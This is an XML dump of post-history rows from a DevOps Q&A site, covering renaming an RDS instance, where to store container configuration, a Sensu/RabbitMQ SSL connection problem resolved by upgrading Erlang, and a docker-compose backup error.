  <row Id="3843" PostHistoryTypeId="2" PostId="1147" RevisionGUID="2eddbbeb-f6cf-4db8-b6a2-2e35536b9fc1" CreationDate="2017-05-11T12:58:50.547" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3844" PostHistoryTypeId="1" PostId="1147" RevisionGUID="2eddbbeb-f6cf-4db8-b6a2-2e35536b9fc1" CreationDate="2017-05-11T12:58:50.547" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3845" PostHistoryTypeId="2" PostId="1148" RevisionGUID="d7c7467c-6174-4f29-b767-6073906cc2dc" CreationDate="2017-05-11T13:06:46.400" UserId="2729" Text="I have inherited a collection of RDS MySQL instances with random (useless) *DB Instance* names.&#xD;&#xA;&#xD;&#xA;I often have to dig into the *tags* section to find out which project they belong to.&#xD;&#xA;&#xD;&#xA;One of the settings I can modify in an RDS is the `DB Instance Identifier`.&#xD;&#xA;&#xD;&#xA;If I change this, what will happen besides for the name change? **Will it affect anybody's code?** Or is it a harmless change?&#xD;&#xA;&#xD;&#xA;These are live systems that I cannot afford to bring down.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3846" PostHistoryTypeId="1" PostId="1148" RevisionGUID="d7c7467c-6174-4f29-b767-6073906cc2dc" CreationDate="2017-05-11T13:06:46.400" UserId="2729" Text="Can I rename an RDS instance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3847" PostHistoryTypeId="3" PostId="1148" RevisionGUID="d7c7467c-6174-4f29-b767-6073906cc2dc" CreationDate="2017-05-11T13:06:46.400" UserId="2729" Text="&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3856" PostHistoryTypeId="5" PostId="1147" RevisionGUID="b263c1ac-01f8-4cbc-890c-5d4c362ad873" CreationDate="2017-05-11T15:58:15.643" UserId="2729" Comment="added 121 characters in body" Text="AWS Elastic Block Store (EBS) provides persistent block level storage volumes for use with EC2 instances in the AWS Cloud" ContentLicense="CC BY-SA 3.0" />
  <row Id="3857" PostHistoryTypeId="24" PostId="1147" RevisionGUID="b263c1ac-01f8-4cbc-890c-5d4c362ad873" CreationDate="2017-05-11T15:58:15.643" Comment="Proposed by 2729 approved by 13 edit id of 343" ContentLicense="CC BY-SA 3.0" />
  <row Id="3860" PostHistoryTypeId="2" PostId="1151" RevisionGUID="7f92a2c9-ada8-4b7c-b7ba-b2b61cfc73f9" CreationDate="2017-05-11T17:43:42.383" UserId="405" Text="Yes, you can rename an RDS instance... at your own peril.&#xD;&#xA;&#xD;&#xA;&gt;When you rename a DB instance, the [DNS] endpoint [hostname] for the DB instance changes, because the URL includes the name you assigned to the DB instance. &#xD;&#xA;&#xD;&#xA;&gt;http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_RenameInstance.html&#xD;&#xA;&#xD;&#xA;Your application code requires configuration changes to be coordinated, for this reason.&#xD;&#xA;&#xD;&#xA;See the link above for the other implications.  This is a supported and generally safe operation, but only in your maintenance window, because there will necessarily be a brief disruption as the DNS is changed and your app code is cycled in with the new database hostname.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3861" PostHistoryTypeId="2" PostId="1152" RevisionGUID="142dea32-33f8-4dfe-9c63-94379fb75105" CreationDate="2017-05-11T18:39:35.380" UserId="72" Text="(I reviewed this [question][1] but the one answer doesn't offer practical solutions.)&#xD;&#xA;&#xD;&#xA;The general wisdom when it comes to containers appears to be:&#xD;&#xA;&#xD;&#xA;***&quot;Make them immutable and identical.&quot;***&#xD;&#xA;&#xD;&#xA;I take this to mean that *every* container for a given application function (a web server, for example) should be bit-for-bit identical.  The code, the *internal* config, and the file system should be built the same way every time for a given version.&#xD;&#xA;&#xD;&#xA;This begs the question: where to store the config that makes a given app container a DEV, TEST, QA, or PROD container?  If the environment config is stored inside the container, that makes them different.  This seems to run contrary to the identical/immutable goal.&#xD;&#xA;&#xD;&#xA;A better model would be to somehow keep environment-specific configuration outside the container.  There are two methods I can think of to do this:&#xD;&#xA;&#xD;&#xA;1.  Store environment-specific configurations on a mounted volume, and make the volume mapping a deployment variable&#xD;&#xA;2.  Use configuration service such as in the [External Configuration Store][2] pattern&#xD;&#xA;&#xD;&#xA;My particular use case is for .NET web applications, where the web.config is a file stored with the application.&#xD;&#xA;&#xD;&#xA; Both options appear to have potential pros and cons.  Is one of these options better, or am I missing a potential best option?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/977/where-should-i-put-my-application-configuration&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/architecture/patterns/external-configuration-store" ContentLicense="CC BY-SA 3.0" />
  <row Id="3862" PostHistoryTypeId="1" PostId="1152" RevisionGUID="142dea32-33f8-4dfe-9c63-94379fb75105" CreationDate="2017-05-11T18:39:35.380" UserId="72" Text="Where to Store Container Configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="3863" PostHistoryTypeId="3" PostId="1152" RevisionGUID="142dea32-33f8-4dfe-9c63-94379fb75105" CreationDate="2017-05-11T18:39:35.380" UserId="72" Text="&lt;deployment&gt;&lt;configuration&gt;&lt;environments&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3864" PostHistoryTypeId="2" PostId="1153" RevisionGUID="a064d2a1-580f-49dc-973b-a017ed8045c7" CreationDate="2017-05-11T21:18:34.923" UserId="2735" Text="I have a fresh sensu/uchiwa stack running on a virtual machine. It is a &quot;standalone&quot; installation - redis, rabbitmq, sensu-server, sensu-api, sensu-client, and uchiwa are all installed on the same machine. I have a single check which the client.json subscribes to.&#xD;&#xA;&#xD;&#xA;In short, something appears to be wrong. I logged into the uchiwa dashboard, and there is a warning message that &quot;Datacenter sensu-81 returned: 500 INTERNAL SERVER ERROR&quot;.&#xD;&#xA;&#xD;&#xA;The `sensu-client`, `sensu-api` and `sensu-server` logs are filled with these messages and only these messages:&#xD;&#xA;&#xD;&#xA;    ==&gt; /var/log/sensu/sensu-api.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758243+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758784+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-client.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.973060+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.974858+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-server.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489540+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489704+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;&#xD;&#xA;It suggests that there is an error connecting to the transport layer, so I checked that my transport.json was configured as expected, and it was (the sensu default):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;transport&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;rabbitmq&quot;,&#xD;&#xA;        &quot;reconnect_on_error&quot;: true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So I checked sensu's rabbitmq.json to check that it was configured as expected, which again it was. (Note: I have a line in my hosts file which translates monitor to 127.0.0.1. I am aware of the issue with using &quot;localhost&quot; causing problems with IPv6, so I double checked that the hosts file maps &quot;monitor&quot; to 127.0.0.1). To further confirm that these credentials are working, I turned on the rabbitmq web-based management and logged in successfully using those credentials.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;rabbitmq&quot;: {&#xD;&#xA;            &quot;ssl&quot;: {&#xD;&#xA;          &quot;cert_chain_file&quot;: &quot;/etc/sensu/ssl/cert.pem&quot;,&#xD;&#xA;          &quot;private_key_file&quot;: &quot;/etc/sensu/ssl/key.pem&quot;&#xD;&#xA;        },&#xD;&#xA;            &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 5671,&#xD;&#xA;        &quot;vhost&quot;: &quot;/sensu&quot;,&#xD;&#xA;        &quot;user&quot;: &quot;sensu&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;sensu&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also checked that the configuration of rabbitmq itself was as expected (ssl turned on and such):&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {rabbit, [&#xD;&#xA;            {ssl_listeners, [5671]},&#xD;&#xA;        {ssl_options, [{cacertfile,&quot;/etc/rabbitmq/ssl/cacert.pem&quot;},&#xD;&#xA;                       {certfile,&quot;/etc/rabbitmq/ssl/cert.pem&quot;},&#xD;&#xA;                       {keyfile,&quot;/etc/rabbitmq/ssl/key.pem&quot;},&#xD;&#xA;                       {verify,verify_peer},&#xD;&#xA;                       {fail_if_no_peer_cert,true}]}&#xD;&#xA;          ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;If I can provide any more details let me know. I'm at a loss where to continue debugging.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3865" PostHistoryTypeId="1" PostId="1153" RevisionGUID="a064d2a1-580f-49dc-973b-a017ed8045c7" CreationDate="2017-05-11T21:18:34.923" UserId="2735" Text="Sensu TCP Connection Issue" ContentLicense="CC BY-SA 3.0" />
  <row Id="3866" PostHistoryTypeId="3" PostId="1153" RevisionGUID="a064d2a1-580f-49dc-973b-a017ed8045c7" CreationDate="2017-05-11T21:18:34.923" UserId="2735" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3867" PostHistoryTypeId="5" PostId="1153" RevisionGUID="38db59b0-5622-40a7-afee-8ae3b5475cb1" CreationDate="2017-05-11T21:25:04.633" UserId="2735" Comment="added 786 characters in body" Text="I have a fresh sensu/uchiwa stack running on a virtual machine. It is a &quot;standalone&quot; installation - redis, rabbitmq, sensu-server, sensu-api, sensu-client, and uchiwa are all installed on the same machine. I have a single check which the client.json subscribes to.&#xD;&#xA;&#xD;&#xA;In short, something appears to be wrong. I logged into the uchiwa dashboard, and there is a warning message that &quot;Datacenter sensu-81 returned: 500 INTERNAL SERVER ERROR&quot;.&#xD;&#xA;&#xD;&#xA;The `sensu-client`, `sensu-api` and `sensu-server` logs are filled with these messages and only these messages:&#xD;&#xA;&#xD;&#xA;    ==&gt; /var/log/sensu/sensu-api.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758243+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758784+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-client.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.973060+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.974858+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-server.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489540+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489704+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;&#xD;&#xA;It suggests that there is an error connecting to the transport layer, so I checked that my transport.json was configured as expected, and it was (the sensu default):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;transport&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;rabbitmq&quot;,&#xD;&#xA;        &quot;reconnect_on_error&quot;: true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So I checked sensu's rabbitmq.json to check that it was configured as expected, which again it was. (Note: I have a line in my hosts file which translates monitor to 127.0.0.1. I am aware of the issue with using &quot;localhost&quot; causing problems with IPv6, so I double checked that the hosts file maps &quot;monitor&quot; to 127.0.0.1). To further confirm that these credentials are working, I turned on the rabbitmq web-based management and logged in successfully using those credentials.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;rabbitmq&quot;: {&#xD;&#xA;            &quot;ssl&quot;: {&#xD;&#xA;          &quot;cert_chain_file&quot;: &quot;/etc/sensu/ssl/cert.pem&quot;,&#xD;&#xA;          &quot;private_key_file&quot;: &quot;/etc/sensu/ssl/key.pem&quot;&#xD;&#xA;        },&#xD;&#xA;            &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 5671,&#xD;&#xA;        &quot;vhost&quot;: &quot;/sensu&quot;,&#xD;&#xA;        &quot;user&quot;: &quot;sensu&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;sensu&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also checked that the configuration of rabbitmq itself was as expected (ssl turned on and such):&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {rabbit, [&#xD;&#xA;            {ssl_listeners, [5671]},&#xD;&#xA;        {ssl_options, [{cacertfile,&quot;/etc/rabbitmq/ssl/cacert.pem&quot;},&#xD;&#xA;                       {certfile,&quot;/etc/rabbitmq/ssl/cert.pem&quot;},&#xD;&#xA;                       {keyfile,&quot;/etc/rabbitmq/ssl/key.pem&quot;},&#xD;&#xA;                       {verify,verify_peer},&#xD;&#xA;                       {fail_if_no_peer_cert,true}]}&#xD;&#xA;          ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;If I can provide any more details let me know. I'm at a loss where to continue debugging.&#xD;&#xA;&#xD;&#xA;EDIT 1:&#xD;&#xA;&#xD;&#xA;I also checked the api.json and uchiwa.json config files, just to make sure they had credentials which matched, which they do:&#xD;&#xA;&#xD;&#xA;api.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;api&quot;: {&#xD;&#xA;        &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 4567,&#xD;&#xA;        &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;secret&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;uchiwa.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;sensu&quot;: [&#xD;&#xA;       {&#xD;&#xA;           &quot;name&quot;: &quot;&quot;,&#xD;&#xA;           &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;           &quot;ssl&quot;: false,&#xD;&#xA;           &quot;port&quot;: 4567,&#xD;&#xA;           &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;           &quot;pass&quot;: &quot;secret&quot;,&#xD;&#xA;           &quot;path&quot;: &quot;&quot;,&#xD;&#xA;           &quot;timeout&quot;: 5000&#xD;&#xA;       }&#xD;&#xA;     ],&#xD;&#xA;     &quot;uchiwa&quot;: {&#xD;&#xA;       &quot;users&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;password&quot;: &quot;admin&quot;,&#xD;&#xA;            &quot;username&quot;: &quot;admin&quot;&#xD;&#xA;        }&#xD;&#xA;    ],&#xD;&#xA;       &quot;port&quot;: 3000,&#xD;&#xA;       &quot;refresh&quot;: 5&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3868" PostHistoryTypeId="5" PostId="1153" RevisionGUID="62fe6836-e975-43f5-8e52-5521a1ee32f2" CreationDate="2017-05-11T21:38:50.110" UserId="2735" Comment="added 584 characters in body" Text="I have a fresh sensu/uchiwa stack running on a virtual machine. It is a &quot;standalone&quot; installation - redis, rabbitmq, sensu-server, sensu-api, sensu-client, and uchiwa are all installed on the same machine. I have a single check which the client.json subscribes to.&#xD;&#xA;&#xD;&#xA;In short, something appears to be wrong. I logged into the uchiwa dashboard, and there is a warning message that &quot;Datacenter sensu-81 returned: 500 INTERNAL SERVER ERROR&quot;.&#xD;&#xA;&#xD;&#xA;The `sensu-client`, `sensu-api` and `sensu-server` logs are filled with these messages and only these messages:&#xD;&#xA;&#xD;&#xA;    ==&gt; /var/log/sensu/sensu-api.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758243+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758784+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-client.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.973060+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.974858+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-server.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489540+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489704+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;&#xD;&#xA;It suggests that there is an error connecting to the transport layer, so I checked that my transport.json was configured as expected, and it was (the sensu default):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;transport&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;rabbitmq&quot;,&#xD;&#xA;        &quot;reconnect_on_error&quot;: true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So I checked sensu's rabbitmq.json to check that it was configured as expected, which again it was. (Note: I have a line in my hosts file which translates monitor to 127.0.0.1. I am aware of the issue with using &quot;localhost&quot; causing problems with IPv6, so I double checked that the hosts file maps &quot;monitor&quot; to 127.0.0.1). To further confirm that these credentials are working, I turned on the rabbitmq web-based management and logged in successfully using those credentials.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;rabbitmq&quot;: {&#xD;&#xA;            &quot;ssl&quot;: {&#xD;&#xA;          &quot;cert_chain_file&quot;: &quot;/etc/sensu/ssl/cert.pem&quot;,&#xD;&#xA;          &quot;private_key_file&quot;: &quot;/etc/sensu/ssl/key.pem&quot;&#xD;&#xA;        },&#xD;&#xA;            &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 5671,&#xD;&#xA;        &quot;vhost&quot;: &quot;/sensu&quot;,&#xD;&#xA;        &quot;user&quot;: &quot;sensu&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;sensu&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also checked that the configuration of rabbitmq itself was as expected (ssl turned on and such):&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {rabbit, [&#xD;&#xA;            {ssl_listeners, [5671]},&#xD;&#xA;        {ssl_options, [{cacertfile,&quot;/etc/rabbitmq/ssl/cacert.pem&quot;},&#xD;&#xA;                       {certfile,&quot;/etc/rabbitmq/ssl/cert.pem&quot;},&#xD;&#xA;                       {keyfile,&quot;/etc/rabbitmq/ssl/key.pem&quot;},&#xD;&#xA;                       {verify,verify_peer},&#xD;&#xA;                       {fail_if_no_peer_cert,true}]}&#xD;&#xA;          ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;If I can provide any more details let me know. I'm at a loss where to continue debugging.&#xD;&#xA;&#xD;&#xA;**EDIT 1:**&#xD;&#xA;&#xD;&#xA;I also checked the api.json and uchiwa.json config files, just to make sure they had credentials which matched, which they do:&#xD;&#xA;&#xD;&#xA;api.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;api&quot;: {&#xD;&#xA;        &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 4567,&#xD;&#xA;        &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;secret&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;uchiwa.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;sensu&quot;: [&#xD;&#xA;       {&#xD;&#xA;           &quot;name&quot;: &quot;&quot;,&#xD;&#xA;           &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;           &quot;ssl&quot;: false,&#xD;&#xA;           &quot;port&quot;: 4567,&#xD;&#xA;           &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;           &quot;pass&quot;: &quot;secret&quot;,&#xD;&#xA;           &quot;path&quot;: &quot;&quot;,&#xD;&#xA;           &quot;timeout&quot;: 5000&#xD;&#xA;       }&#xD;&#xA;     ],&#xD;&#xA;     &quot;uchiwa&quot;: {&#xD;&#xA;       &quot;users&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;password&quot;: &quot;admin&quot;,&#xD;&#xA;            &quot;username&quot;: &quot;admin&quot;&#xD;&#xA;        }&#xD;&#xA;    ],&#xD;&#xA;       &quot;port&quot;: 3000,&#xD;&#xA;       &quot;refresh&quot;: 5&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Edit 2**&#xD;&#xA;Attempting to talk to the sensu api directly from inside the box gives a 500 error also:&#xD;&#xA;&#xD;&#xA;    vagrant@vagrant-ubuntu-trusty-64:/etc/default$ curl -I http://localhost:4567/stashes -u admin&#xD;&#xA;    Enter host password for user 'admin':&#xD;&#xA;    HTTP/1.1 500 Internal Server Error&#xD;&#xA;    Access-Control-Allow-Credentials: true&#xD;&#xA;    Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization&#xD;&#xA;    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS&#xD;&#xA;    Access-Control-Allow-Origin: *&#xD;&#xA;    Connection: close&#xD;&#xA;    Content-length: 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3870" PostHistoryTypeId="2" PostId="1154" RevisionGUID="114a5a39-ad3c-4e1e-a30f-17fc36de9046" CreationDate="2017-05-11T23:32:21.573" UserId="2735" Text="Ends up the rabbitmq logs held the answer. I saw that something was wrong by the messages were so cryptic I couldn't tell what was actually breaking. Turns out it was an SSL issue caused by an old version of Erlang, which is what apt was installing by default on ubuntu 14.04 (erlang version R16B03).&#xD;&#xA;&#xD;&#xA;This amqp issue was what pointed me to the solution:&#xD;&#xA;&#xD;&#xA;https://github.com/squaremo/amqp.node/issues/224&#xD;&#xA;&#xD;&#xA;I needed to upgrade to Erlang &gt;= 17.5, then it worked as expected." ContentLicense="CC BY-SA 3.0" />
  <row Id="3871" PostHistoryTypeId="2" PostId="1155" RevisionGUID="abc97459-635d-48cb-b797-57633e1b6f32" CreationDate="2017-05-12T09:03:35.420" UserId="210" Text="According to [this documentation][1] one could create a database backup&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-compose.admin.yml&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      dbadmin:&#xD;&#xA;        build: db_data/&#xD;&#xA;        links:&#xD;&#xA;          - db&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;running&#xD;&#xA;&#xD;&#xA;    docker-compose -f docker-compose.yml -f docker-compose.admin.yml \&#xD;&#xA;    run dbadmin db-backup&#xD;&#xA;&#xD;&#xA;results initially in:&#xD;&#xA;&#xD;&#xA;    ERROR: Error processing tar file(archive/tar: invalid tar header): &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and when it is run for the second time:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ERROR: Error processing tar file(exit status 1): unexpected EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/extends/#understanding-multiple-compose-files" ContentLicense="CC BY-SA 3.0" />
  <row Id="3872" PostHistoryTypeId="1" PostId="1155" RevisionGUID="abc97459-635d-48cb-b797-57633e1b6f32" CreationDate="2017-05-12T09:03:35.420" UserId="210" Text="How to create a database backup using docker-compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="3873" PostHistoryTypeId="3" PostId="1155" RevisionGUID="abc97459-635d-48cb-b797-57633e1b6f32" CreationDate="2017-05-12T09:03:35.420" UserId="210" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3874" PostHistoryTypeId="6" PostId="1153" RevisionGUID="1ee0c2ba-7d77-4ecf-aa4a-89ce152b85c9" CreationDate="2017-05-12T10:34:58.753" UserId="210" Comment="missing tag added" Text="&lt;monitoring&gt;&lt;sensu&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3875" PostHistoryTypeId="24" PostId="1153" RevisionGUID="1ee0c2ba-7d77-4ecf-aa4a-89ce152b85c9" CreationDate="2017-05-12T10:34:58.753" Comment="Proposed by 210 approved by 40, 13 edit id of 344" ContentLicense="CC BY-SA 3.0" />
  <row Id="3876" PostHistoryTypeId="5" PostId="1154" RevisionGUID="eed5b611-ee4b-42ba-8726-7f8ddccf58ab" CreationDate="2017-05-12T13:55:25.650" UserId="2735" Comment="added 2 characters in body" Text="Ends up the rabbitmq logs held the answer. I saw that something was wrong, but the messages were so cryptic I couldn't tell what was actually breaking. Turns out it was an SSL issue caused by an old version of Erlang, which is what apt was installing by default on ubuntu 14.04 (erlang version R16B03).&#xD;&#xA;&#xD;&#xA;This amqp issue was what pointed me to the solution:&#xD;&#xA;&#xD;&#xA;https://github.com/squaremo/amqp.node/issues/224&#xD;&#xA;&#xD;&#xA;I needed to upgrade to Erlang &gt;= 17.5, then it worked as expected." ContentLicense="CC BY-SA 3.0" />
